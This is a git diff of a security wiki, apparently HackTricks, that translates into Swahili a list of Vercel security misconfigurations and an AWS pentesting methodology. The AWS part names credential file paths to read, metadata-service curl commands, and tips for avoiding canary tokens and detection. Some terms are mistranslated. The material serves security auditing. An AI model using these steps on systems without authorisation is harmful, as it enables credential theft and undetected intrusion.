persistence +- **Misconfiguration:** Mshambuliaji anaweza kudumisha kudumu kwa kumwalika akaunti anayoitawala +- **Risk:** Kudumu kwa mshambuliaji - **Roles** - - **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles) - - **Risk**: Increate the exposure of the Vercel Team +- **Misconfiguration:** Kutoa ruhusa nyingi kwa watu wasiohitaji huongeza hatari ya usanidi wa vercel. Angalia majukumu yote yanayowezekana katika [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles) +- **Risk**: Kuongeza kufichuliwa kwa Vercel Team --- ### Access Groups -An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects. +**Access Group** katika Vercel ni mkusanyiko wa miradi na wanachama wa timu wenye ugawaji wa majukumu yaliyowekwa, kuruhusu usimamizi wa ufikiaji wa kati na wa haraka kati ya miradi mingi. **Potential Misconfigurations:** -- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions. -- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation. -- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended. -- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions. -- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps. +- **Over-Permissioning Members:** Kuweka majukumu yenye ruhusa zaidi ya zinazohitajika, kupelekea ufikiaji au vitendo visivyoidhinishwa. +- **Improper Role Assignments:** Kuweka vibaya majukumu ambavyo havikidhi majukumu ya wanachama wa timu, kupelekea kupanda kwa ruhusa. +- **Lack of Project Segregation:** Kukosa kutenganisha miradi nyeti, kuruhusu ufikiaji mpana zaidi kuliko ilivyokusudiwa. +- **Insufficient Group Management:** Kukosa kukagua au kuboresha Vikundi vya Ufikiaji mara kwa mara, kupelekea ruhusa za ufikiaji zisizofaa au za zamani. +- **Inconsistent Role Definitions:** Kutumia ufafanuzi wa majukumu usio sawa au usio wazi kati ya Vikundi vya Ufikiaji tofauti, kupelekea mkanganyiko na mapengo ya usalama. --- @@ -334,8 +334,8 @@ An **Access Group** in Vercel is a collection of projects and team members with #### Security Configurations: - **Log Drains to third parties:** - - **Misconfiguration:** An attacker could configure a Log Drain to steal the logs - - **Risk:** Partial persistence +- **Misconfiguration:** Mshambuliaji anaweza kuunda Log Drain kuiba kumbukumbu +- **Risk:** Kudumu kwa sehemu --- @@ -343,99 +343,95 @@ An **Access Group** in Vercel is a collection of projects and team members with #### Security Configurations: -- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard. - - **Misconfiguration:** - - Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting. - - Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain. - - **Risks:** - - **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team. - - **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals. -- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access. - - **Misconfiguration:** Not adding critical Git scopes to the protected list. +- **Team Email Domain:** Wakati umewekwa, mipangilio hii inawakaribisha moja kwa moja Akaunti za Kibinafsi za Vercel zenye anwani za barua pepe zinazomalizika na domain iliyotajwa (kwa mfano, `mydomain.com`) kujiunga na timu yako wakati wa kujiandikisha na kwenye dashibodi. +- **Misconfiguration:** +- Kuweka domain ya barua pepe isiyo sahihi au domain iliyoandikwa vibaya katika mipangilio ya Team Email Domain. +- Kutumia domain ya barua pepe ya kawaida (kwa mfano, `gmail.com`, `hotmail.com`) badala ya domain maalum ya kampuni. - **Risks:** - - **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization. - - **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team. -- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system. - - **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled. - - **Risks:** - - **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members. - - **Data Breach:** Sensitive information like API keys and credentials could be leaked. -- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members. - - **Misconfiguration:**\ - Granting access to audit logs to unauthorized team members. - - **Risks:** - - **Privacy Violations:** Exposure of sensitive user activities and data. - - **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks. -- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management. - - **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints. - - **Risk:** Maintain persistence -- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains. - - **Misconfiguration:** Leaving IP address visibility enabled without necessity. - - **Risks:** - - **Privacy Violations:** Non-compliance with data protection regulations like GDPR. - - **Legal Repercussions:** Potential fines and penalties for mishandling personal data. -- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing. - - **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic. - - **Risks:** - - **Service Denial to Legitimate Users:** Blocking access for valid users or partners. - - **Operational Disruptions:** Loss of service availability for certain regions or clients. +- **Unauthorized Access:** Watumiaji wenye anwani za barua pepe kutoka domain zisizokusudiwa wanaweza kupokea mialiko ya kujiunga na timu yako. +- **Data Exposure:** Uwezekano wa kufichuliwa kwa taarifa nyeti za mradi kwa watu wasioidhinishwa. +- **Protected Git Scopes:** Inaruhusu kuongeza hadi 5 Git scopes kwa timu yako ili kuzuia timu nyingine za Vercel kutekeleza repositories kutoka kwenye scope iliyo salama. Timu nyingi zinaweza kuweka scope sawa, kuruhusu timu zote kupata ufikiaji. +- **Misconfiguration:** Kukosa kuongeza Git scopes muhimu kwenye orodha ya iliyo salama. +- **Risks:** +- **Unauthorized Deployments:** Timu nyingine zinaweza kutekeleza repositories kutoka kwenye Git scopes za shirika lako bila ruhusa. +- **Intellectual Property Exposure:** Msimbo wa miliki unaweza kutekelezwa na kupatikana nje ya timu yako. +- **Environment Variable Policies:** Inalazimisha sera za kuunda na kuhariri vigezo vya mazingira vya timu. Kwa haswa, unaweza kulazimisha kwamba vigezo vyote vya mazingira vimeundwa kama **Sensitive Environment Variables**, ambavyo vinaweza kufichuliwa tu na mfumo wa kutekeleza wa Vercel. +- **Misconfiguration:** Kuacha kulazimisha vigezo vya mazingira nyeti kuwa kuzimwa. +- **Risks:** +- **Exposure of Secrets:** Vigezo vya mazingira vinaweza kuonyeshwa au kuhaririwa na wanachama wasioidhinishwa wa timu. +- **Data Breach:** Taarifa nyeti kama funguo za API na akidi zinaweza kuvuja. +- **Audit Log:** Inatoa usafirishaji wa shughuli za timu kwa hadi siku 90 zilizopita. Kumbukumbu za ukaguzi husaidia katika kufuatilia na kufuatilia vitendo vilivyofanywa na wanachama wa timu. +- **Misconfiguration:**\ +Kutoa ufikiaji wa kumbukumbu za ukaguzi kwa wanachama wasioidhinishwa wa timu. +- **Risks:** +- **Privacy Violations:** Kuonyeshwa kwa shughuli na data nyeti za watumiaji. +- **Tampering with Logs:** Watu wabaya wanaweza kubadilisha au kufuta kumbukumbu ili kuficha nyayo zao. +- **SAML Single Sign-On:** Inaruhusu kubadilisha uthibitisho wa SAML na usawazishaji wa directory kwa timu yako, kuruhusu uunganisho na Mtoaji wa Kitambulisho (IdP) kwa uthibitisho wa kati na usimamizi wa watumiaji. +- **Misconfiguration:** Mshambuliaji anaweza kuingiza milango ya nyuma kwenye mipangilio ya Timu akipanga vigezo vya SAML kama Entity ID, SSO URL, au alama za cheti. +- **Risk:** Kudumisha kudumu +- **IP Address Visibility:** Kudhibiti ikiwa anwani za IP, ambazo zinaweza kuzingatiwa kama taarifa binafsi chini ya sheria fulani za ulinzi wa data, zinaonyeshwa katika maswali ya Ufuatiliaji na Log Drains. +- **Misconfiguration:** Kuacha kuonyesha anwani za IP bila sababu. +- **Risks:** +- **Privacy Violations:** Kukosa kufuata kanuni za ulinzi wa data kama GDPR. +- **Legal Repercussions:** Uwezekano wa faini na adhabu kwa kushughulikia data binafsi vibaya. +- **IP Blocking:** Inaruhusu mipangilio ya anwani za IP na anuwai za CIDR ambazo Vercel inapaswa kuzuia maombi kutoka. Maombi yaliyozuiwa hayachangii bili yako. +- **Misconfiguration:** Inaweza kutumiwa vibaya na mshambuliaji kuruhusu trafiki ya uhalifu au kuzuia trafiki halali. +- **Risks:** +- **Service Denial to Legitimate Users:** Kuzuia ufikiaji kwa watumiaji halali au washirika. +- **Operational Disruptions:** Kupoteza upatikanaji wa huduma kwa maeneo fulani au wateja. --- ### Secure Compute -**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy. +**Vercel Secure Compute** inaruhusu uhusiano salama, wa faragha kati ya Vercel Functions na mazingira ya nyuma (kwa mfano, databases) kwa kuanzisha mitandao iliyotengwa yenye anwani za IP maalum. Hii inondoa haja ya kuonyesha huduma za nyuma hadharani, kuimarisha usalama, kufuata sheria, na faragha. #### **Potential Misconfigurations and Risks** 1. **Incorrect AWS Region Selection** - - **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region. - - **Risk:** Increased latency, potential data residency compliance issues, and degraded performance. +- **Misconfiguration:** Kuchagua eneo la AWS kwa mtandao wa Secure Compute ambalo halifanani na eneo la huduma za nyuma. +- **Risk:** Kuongezeka kwa ucheleweshaji, matatizo ya kufuata makazi ya data, na utendaji mbovu. 2. **Overlapping CIDR Blocks** - - **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks. - - **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks. +- **Misconfiguration:** Kuchagua blocks za CIDR zinazovutana na VPC zilizopo au mitandao mingine. +- **Risk:** Migogoro ya mtandao inayopelekea kuunganishwa kwa kushindwa, ufikiaji usioidhinishwa, au kuvuja kwa data kati ya mitandao. 3. **Improper VPC Peering Configuration** - - **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates). - - **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches. +- **Misconfiguration:** Kuweka vibaya VPC peering (kwa mfano, IDs za VPC zisizo sahihi, masasisho yasiyokamilika ya jedwali la njia). +- **Risk:** Ufikiaji usioidhinishwa wa miundombinu ya nyuma, kuunganishwa kwa salama kushindwa, na uwezekano wa uvunjaji wa data. 4. **Excessive Project Assignments** - - **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation. - - **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others. +- **Misconfiguration:** Kuweka miradi mingi kwenye mtandao mmoja wa Secure Compute bila kutengwa ipasavyo. +- **Risk:** Kuongezeka kwa kufichuliwa kwa IP kunaongeza uso wa shambulio, na kuweza kuruhusu miradi iliyoharibiwa kuathiri nyingine. 5. **Inadequate IP Address Management** - - **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately. - - **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities. +- **Misconfiguration:** Kukosa kusimamia au kubadilisha anwani za IP maalum ipasavyo. +- **Risk:** IP spoofing, udhaifu wa ufuatiliaji, na uwezekano wa kuorodheshwa kama mbaya ikiwa IP zitahusishwa na shughuli za uhalifu. 6. **Including Build Containers Unnecessarily** - - **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds. - - **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources. +- **Misconfiguration:** Kuongeza vyombo vya kujenga kwenye mtandao wa Secure Compute wakati ufikiaji wa nyuma hauhitajiki wakati wa kujenga. +- **Risk:** Kuongezeka kwa uso wa shambulio, ucheleweshaji wa ugawaji, na matumizi yasiyo ya lazima ya rasilimali za mtandao. 7. **Failure to Securely Handle Bypass Secrets** - - **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections. - - **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code. +- **Misconfiguration:** Kuonyesha au kushughulikia vibaya siri zinazotumika kupita ulinzi wa kutekeleza. +- **Risk:** Ufikiaji usioidhinishwa wa kutekeleza kulindwa, kuruhusu wavamizi kubadilisha au kutekeleza msimbo mbaya. 8. **Ignoring Region Failover Configurations** - - **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings. - - **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency. +- **Misconfiguration:** Kukosa kuweka maeneo ya failover yasiyo ya msingi au kuweka vibaya mipangilio ya failover. +- **Risk:** Kukosekana kwa huduma wakati wa kutofaulu kwa eneo la msingi, kupelekea kupungua kwa upatikanaji na uwezekano wa kutokuelewana kwa data. 9. **Exceeding VPC Peering Connection Limits** - - **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections). - - **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions. +- **Misconfiguration:** Kujaribu kuanzisha uhusiano zaidi wa VPC peering kuliko kiwango kinachoruhusiwa (kwa mfano, kupita uhusiano 50). +- **Risk:** Kukosa kuunganishwa kwa huduma muhimu za nyuma kwa usalama, kupelekea kushindwa kwa kutekeleza na usumbufu wa operesheni. 10. **Insecure Network Settings** - - **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network. - - **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks. +- **Misconfiguration:** Sheria dhaifu za moto, kukosa usimbuaji, au kutenganisha mtandao vibaya ndani ya mtandao wa Secure Compute. +- **Risk:** Kukamatwa kwa data, ufikiaji usioidhinishwa wa huduma za nyuma, na kuongezeka kwa udhaifu wa mashambulizi. --- ### Environment Variables -**Purpose:** Manage environment-specific variables and secrets used by all the projects. +**Purpose:** Kusimamia vigezo maalum vya mazingira na siri zinazotumika na miradi yote. #### Security Configurations: - **Exposing Sensitive Variables** - - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side. - - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches. +- **Misconfiguration:** Kuongeza alama ya `NEXT_PUBLIC_` kwa vigezo nyeti, na kuifanya ipatikane upande wa mteja. +- **Risk:** Kuonyeshwa kwa funguo za API, akidi za database, au data nyingine nyeti kwa umma, kupelekea uvunjaji wa data. - **Sensitive disabled** - - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets. - - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. +- **Misconfiguration:** Ikiwa imezimwa (kawaida) inawezekana kusoma thamani za siri zilizozalishwa. +- **Risk:** Kuongezeka kwa uwezekano wa kufichuliwa kwa bahati mbaya au ufikiaji usioidhinishwa wa taarifa nyeti. {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md index ad71de826..837cafd7d 100644 --- a/src/pentesting-cloud/aws-security/README.md +++ b/src/pentesting-cloud/aws-security/README.md @@ -4,9 +4,9 @@ ## Basic Information -**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them. +**Kabla ya kuanza pentesting** mazingira ya **AWS**, kuna mambo machache **muhimu unahitaji kujua** kuhusu jinsi AWS inavyofanya kazi ili kukusaidia kuelewa unachohitaji kufanya, jinsi ya kupata makosa ya usanidi na jinsi ya kuyatumia. -Concepts such as organization hierarchy, IAM and other basic concepts are explained in: +Mifano kama vile hiyerarhya ya shirika, IAM na dhana nyingine za msingi zinaelezwa katika: {{#ref}} aws-basic-information/ @@ -29,42 +29,42 @@ Tools to simulate attacks: ## AWS Pentester/Red Team Methodology -In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected. +Ili kukagua mazingira ya AWS, ni muhimu sana kujua: ni **huduma zipi zinatumika**, nini kinacho **onyeshwa**, nani ana **ufikiaji** wa nini, na jinsi huduma za ndani za AWS na **huduma za nje** zinavyounganishwa. -From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that: +Kutoka kwa mtazamo wa Red Team, **hatua ya kwanza ya kuathiri mazingira ya AWS** ni kufanikiwa kupata **akili**. Hapa kuna mawazo kadhaa juu ya jinsi ya kufanya hivyo: -- **Leaks** in github (or similar) - OSINT -- **Social** Engineering -- **Password** reuse (password leaks) -- Vulnerabilities in AWS-Hosted Applications - - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint - - **Local File Read** - - `/home/USERNAME/.aws/credentials` - - `C:\Users\USERNAME\.aws\credentials` -- 3rd parties **breached** -- **Internal** Employee +- **Mvuzi** katika github (au sawa) - OSINT +- **Uhandisi** wa Kijamii +- **Tena** ya nywila (mvuzi wa nywila) +- Uhalifu katika Programu za AWS-Zilizohifadhiwa +- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) yenye ufikiaji wa metadata endpoint +- **Usomaji wa Faili za Mitaa** +- `/home/USERNAME/.aws/credentials` +- `C:\Users\USERNAME\.aws\credentials` +- **Watu wa tatu** walio **vunjwa** +- **Mfanyakazi** wa Ndani - [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credentials -Or by **compromising an unauthenticated service** exposed: +Au kwa **kuathiri huduma isiyo na uthibitisho** iliyonyeshwa: {{#ref}} aws-unauthenticated-enum-access/ {{#endref}} -Or if you are doing a **review** you could just **ask for credentials** with these roles: +Au ikiwa unafanya **kaguzi** unaweza tu **kuomba akili** na hizi nafasi: {{#ref}} aws-permissions-for-a-pentest.md {{#endref}} > [!NOTE] -> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration: +> Baada ya kufanikiwa kupata akili, unahitaji kujua **ni nani mwenye akili hizo**, na **nini wana ufikiaji wa**, hivyo unahitaji kufanya uainishaji wa msingi: ## Basic Enumeration ### SSRF -If you found a SSRF in a machine inside AWS check this page for tricks: +Ikiwa umepata SSRF katika mashine ndani ya AWS angalia ukurasa huu kwa mbinu: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -72,8 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou ### Whoami -One of the first things you need to know is who you are (in where account you are in other info about the AWS env): - +Moja ya mambo ya kwanza unahitaji kujua ni wewe ni nani (katika akaunti gani ulipo na habari nyingine kuhusu mazingira ya AWS): ```bash # Easiest way, but might be monitored? aws sts get-caller-identity @@ -89,10 +88,9 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document ``` - > [!CAUTION] -> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\ -> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass). +> Kumbuka kwamba kampuni zinaweza kutumia **canary tokens** kubaini wakati **tokens zinapokuwa zikiibiwa na kutumika**. Inapendekezwa kuangalia kama token ni canary token au la kabla ya kuitumia.\ +> Kwa maelezo zaidi [**angalia ukurasa huu**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass). ### Org Enumeration @@ -102,30 +100,30 @@ aws-services/aws-organizations-enum.md ### IAM Enumeration -If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**. +Ikiwa una ruhusa za kutosha **kuangalia haki za kila chombo ndani ya akaunti ya AWS** itakusaidia kuelewa ni nini unaweza kufanya na vitambulisho vingine na jinsi ya **kuinua haki**. -If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\ -Check **how to do the numeration and brute-forcing** in: +Ikiwa huna ruhusa za kutosha kuhesabu IAM, unaweza **kuiba kuzitafutia** ili kujua.\ +Angalia **jinsi ya kufanya hesabu na brute-forcing** katika: {{#ref}} aws-services/aws-iam-enum.md {{#endref}} > [!NOTE] -> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\ -> In the following section you can check some ways to **enumerate some common services.** +> Sasa kwamba **una taarifa fulani kuhusu hati zako** (na ikiwa wewe ni timu nyekundu matumaini huja **gundulika**). Ni wakati wa kubaini ni huduma zipi zinazotumika katika mazingira.\ +> Katika sehemu ifuatayo unaweza kuangalia njia kadhaa za **kuhesabu huduma za kawaida.** ## Services Enumeration, Post-Exploitation & Persistence -AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them: +AWS ina idadi kubwa ya huduma, katika ukurasa ufuatao utapata **taarifa za msingi, hesabu** cheatsheets\*\*,\*\* jinsi ya **kuepuka kugundulika**, kupata **kuendelea**, na hila nyingine za **post-exploitation** kuhusu baadhi yao: {{#ref}} aws-services/ {{#endref}} -Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](./#automated-tools). +Kumbuka kwamba **huhitaji** kufanya kazi yote **kwa mikono**, hapa chini katika chapisho hili unaweza kupata **sehemu kuhusu** [**zana za kiotomatiki**](./#automated-tools). -Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them: +Zaidi ya hayo, katika hatua hii unaweza kugundua **huduma zaidi zilizofichuliwa kwa watumiaji wasio na uthibitisho,** unaweza kuwa na uwezo wa kuzitumia: {{#ref}} aws-unauthenticated-enum-access/ @@ -133,7 +131,7 @@ aws-unauthenticated-enum-access/ ## Privilege Escalation -If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in: +Ikiwa unaweza **kuangalia angalau ruhusa zako mwenyewe** juu ya rasilimali tofauti unaweza **kuangalia ikiwa unaweza kupata ruhusa zaidi**. Unapaswa kuzingatia angalau ruhusa zilizoonyeshwa katika: {{#ref}} aws-privilege-escalation/ @@ -141,10 +139,10 @@ aws-privilege-escalation/ ## Publicly Exposed Services -While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\ -As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**. +Wakati wa kuhesabu huduma za AWS unaweza kuwa umepata baadhi yao **zinazoonyesha vitu kwenye Mtandao** (VM/Containers ports, databases au queue services, snapshots au buckets...).\ +Kama pentester/timu nyekundu unapaswa kila wakati kuangalia ikiwa unaweza kupata **taarifa nyeti / udhaifu** juu yao kwani zinaweza kukupa **ufikiaji zaidi kwenye akaunti ya AWS**. -In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in: +Katika kitabu hiki unapaswa kupata **taarifa** kuhusu jinsi ya kupata **huduma za AWS zilizofichuliwa na jinsi ya kuziangalia**. Kuhusu jinsi ya kupata **udhaifu katika huduma za mtandao zilizofichuliwa** ningependekeza **utafute** huduma maalum katika: {{#ref}} https://book.hacktricks.xyz/ @@ -154,52 +152,49 @@ https://book.hacktricks.xyz/ ### From the root/management account -When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account. +Wakati akaunti ya usimamizi inaunda akaunti mpya katika shirika, **jukumu jipya** linaundwa katika akaunti mpya, kwa default inaitwa **`OrganizationAccountAccessRole`** na kutoa sera ya **AdministratorAccess** kwa **akaunti ya usimamizi** ili kufikia akaunti mpya.
-So, in order to access as administrator a child account you need: +Hivyo, ili kufikia kama msimamizi akaunti ya mtoto unahitaji: -- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin. - - To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts` - - You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**. -- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary). +- **Kuvunja** akaunti ya **usimamizi** na kupata **ID** ya **akaunti za watoto** na **majina** ya **jukumu** (OrganizationAccountAccessRole kwa default) inayoruhusu akaunti ya usimamizi kufikia kama msimamizi. +- Ili kupata akaunti za watoto nenda kwenye sehemu ya mashirika katika console ya aws au endesha `aws organizations list-accounts` +- Huwezi kupata jina la majukumu moja kwa moja, hivyo angalia sera zote za kawaida za IAM na tafuta yoyote inayoruhusu **`sts:AssumeRole` juu ya akaunti za watoto zilizogunduliwa awali**. +- **Kuvunja** **mwanachama** katika akaunti ya usimamizi na **`sts:AssumeRole` ruhusa juu ya jukumu katika akaunti za watoto** (hata kama akaunti inaruhusu mtu yeyote kutoka akaunti ya usimamizi kujiwakilisha, kama ni akaunti ya nje, ruhusa maalum za `sts:AssumeRole` zinahitajika). ## Automated Tools ### Recon -- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby. - +- [**aws-recon**](https://github.com/darkbitio/aws-recon): Zana ya **kukusanya hesabu** inayolenga usalama wa AWS iliyoandikwa kwa Ruby. ```bash # Install gem install aws_recon # Recon and get json AWS_PROFILE= aws_recon \ - --services S3,EC2 \ - --regions global,us-east-1,us-east-2 \ - --verbose +--services S3,EC2 \ +--regions global,us-east-1,us-east-2 \ +--verbose ``` - -- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers. -- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues. - +- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist ni **chombo cha multi-cloud kwa kupata Mali** (Majina ya Kikoa, Anwani za IP) kutoka kwa Watoa Huduma za Cloud. +- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper inakusaidia kuchambua mazingira yako ya Amazon Web Services (AWS). Sasa ina kazi nyingi zaidi, ikiwa ni pamoja na ukaguzi wa masuala ya usalama. ```bash # Installation steps in github # Create a config.json file with the aws info, like: { - "accounts": [ - { - "default": true, - "id": "", - "name": "dev" - } - ], - "cidrs": - { - "2.2.2.2/28": {"name": "NY Office"} - } +"accounts": [ +{ +"default": true, +"id": "", +"name": "dev" +} +], +"cidrs": +{ +"2.2.2.2/28": {"name": "NY Office"} +} } # Enumerate @@ -229,9 +224,7 @@ python3 cloudmapper.py public --accounts dev python cloudmapper.py prepare #Prepare webserver python cloudmapper.py webserver #Show webserver ``` - -- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database. - +- [**cartography**](https://github.com/lyft/cartography): Cartography ni chombo cha Python kinachounganisha mali za miundombinu na uhusiano kati yao katika mtazamo wa grafu wa kueleweka unaoendeshwa na hifadhidata ya Neo4j. ```bash # Install pip install cartography @@ -240,17 +233,15 @@ pip install cartography # Get AWS info AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j ``` - -- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database. -- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account. -- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account. +- [**starbase**](https://github.com/JupiterOne/starbase): Starbase inakusanya mali na uhusiano kutoka kwa huduma na mifumo ikiwa ni pamoja na miundombinu ya wingu, programu za SaaS, udhibiti wa usalama, na zaidi katika mtazamo wa grafu unaoeleweka unaoungwa mkono na hifadhidata ya Neo4j. +- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Inatumia python2) Hii ni zana inayojaribu **kuvumbua yote** [**rasilimali za AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) zilizoundwa katika akaunti. +- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Ni zana ya **kupata anwani zote za IP za umma** (zote IPv4/IPv6) zinazohusishwa na akaunti ya AWS. ### Privesc & Exploiting -- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the 